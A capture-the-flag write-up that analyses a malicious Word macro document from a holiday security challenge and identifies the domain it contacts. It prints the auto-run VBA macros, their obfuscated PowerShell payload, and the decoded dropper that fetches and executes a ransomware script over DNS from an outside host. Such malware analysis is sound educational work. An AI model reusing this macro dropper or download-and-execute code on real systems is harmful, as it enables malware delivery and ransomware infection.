Identify the Domain

Objective #9.2
Santa's Secret Room

Using the Word docm file, identify the domain name that the malware communicates with.

Hey, you're pretty good at this security stuff. Could you help me further with what I suspect is a malicious Word document? All the elves were emailed a cookie recipe right before all the infections. Take this document with a password of elves and find the domain it communicates with.


For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge.

Shinny Upatree

Have you heard that Kringle Castle was hit by a new ransomware called Wannacookie?
Several elves reported receiving a cookie recipe Word doc. When opened, a PowerShell screen flashed by and their files were encrypted.
Many elves were affected, so Alabaster went to go see if he could help out.
I hope Alabaster watched the PowerShell Malware talk at KringleCon before he tried analyzing Wannacookie on his computer.
An elf I follow online said he analyzed Wannacookie and that it communicates over DNS.
He also said that Wannacookie transfers files over DNS and that it looks like it grabs a public key this way.
Another recent ransomware made it possible to retrieve crypto keys from memory. Hopefully the same is true for Wannacookie!
Of course, this all depends how the key was encrypted and managed in memory. Proper public key encryption requires a private key to decrypt.
Perhaps there is a flaw in the wannacookie author's DNS server that we can manipulate to retrieve what we need.
If so, we can retrieve our keys from memory, decrypt the key, and then decrypt our ransomed files.


Malware Reverse Engineering hint from Alabaster Snowball
Whoa, Chris Davis' talk on PowerShell malware is crazy pants! You should check it out!


Dropper Download hint from Alabaster Snowball
Word docm macros can be extracted using olevba. Perhaps we can use this to grab the ransomware source.

P.S. Downloading document .zip on some Microsoft Windows computers fails, because of Windows Defender detecting it as Trojan:Win32/Sonbokli.A!cl and it's content .docm is being detected as Trojan:Win32/Occamy.C. Of course, clamav, also detects document as malware, i.e., Doc.Macro.Downloader-6360616-1. Therefore, a local copy of document archive is archived with password KringleCon2018.

Provided document archive contains CHOCOLATE_CHIP_COOKIE_RECIPE.docm. Extract it with password evles.

$ 7z l CHOCOLATE_CHIP_COOKIE_RECIPE.zip
   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-12-17 17:46:28 ....A       113540       110477  CHOCOLATE_CHIP_COOKIE_RECIPE.docm
------------------- ----- ------------ ------------  ------------------------
2018-12-17 17:46:28             113540       110477  1 files
$ 7z x CHOCOLATE_CHIP_COOKIE_RECIPE.zip -pelves > /dev/null
$ file CHOCOLATE_CHIP_COOKIE_RECIPE.docm
CHOCOLATE_CHIP_COOKIE_RECIPE.docm: Microsoft Word 2007+
$ sha256 CHOCOLATE_CHIP_COOKIE_RECIPE.docm
SHA256 (CHOCOLATE_CHIP_COOKIE_RECIPE.docm) = 10f70840eb31aa2aa22d83a363993b1c66604b08bd9495674532921ccbc1b8c6

Running olevba on document, reveals malicious macros.

$ olevba CHOCOLATE_CHIP_COOKIE_RECIPE.docm
olevba 0.52.3 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MASI---- CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: u'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

+------------+-----------------+-----------------------------------------+
| Type       | Keyword         | Description                             |
+------------+-----------------+-----------------------------------------+
| AutoExec   | AutoOpen        | Runs when the Word document is opened   |
| AutoExec   | Document_Open   | Runs when the Word or Publisher         |
|            |                 | document is opened                      |
| Suspicious | Shell           | May run an executable file or a system  |
|            |                 | command                                 |
| Suspicious | powershell      | May run PowerShell commands             |
| Suspicious | ExecutionPolicy | May run PowerShell commands             |
| Suspicious | New-Object      | May create an OLE object using          |
|            |                 | PowerShell                              |
| IOC        | powershell.exe  | Executable file name                    |
+------------+-----------------+-----------------------------------------+

Same code is used in AutoOpen and Document_Open functions.
Code can be deobfuscated by removing iex from it and simply running it. But let's deal with it without PowerShell.
Decode and save the obfuscated base64-encoded part of macro, which is a compressed deflate stream without header.

echo lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG | base64 -d > dropper.raw

To decompress this raw stream without headers, use either Python or Perl one-liner.

cat dropper.raw | python -c "import zlib,sys;print(zlib.decompress(sys.stdin.buffer.read(),-zlib.MAX_WBITS))"
cat dropper.raw | perl -MCompress::Zlib -e 'undef $/; print((inflateInit(WindowBits=>-MAX_WBITS)->inflate(<>))[0]);'

It is PowerShell code, which downloads wannacookie.min.ps1 (77616E6E61636F6F6B69652E6D696E2E707331) from erohetfanu.com by using DNS.

function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))
Same code, but re-formatted for readability.
function H2A($a) {
	$o;
	$a -split '(..)' | ? { $_ } | forEach {
		[char]([convert]::toint16($_,16))
	} | forEach {  $o = $o + $_ };
	return $o 
};
$f = "77616E6E61636F6F6B69652E6D696E2E707331";
$h = "";
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {
	$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings
};
iex($(H2A $h | Out-string))
		

Answer to this objective is erohetfanu.com.

Erohetfanu.com, I wonder what that means?


It's no other, than Hans Gruber of Die Hard.

$ echo erohetfanu | rot13 | rev
hansgruber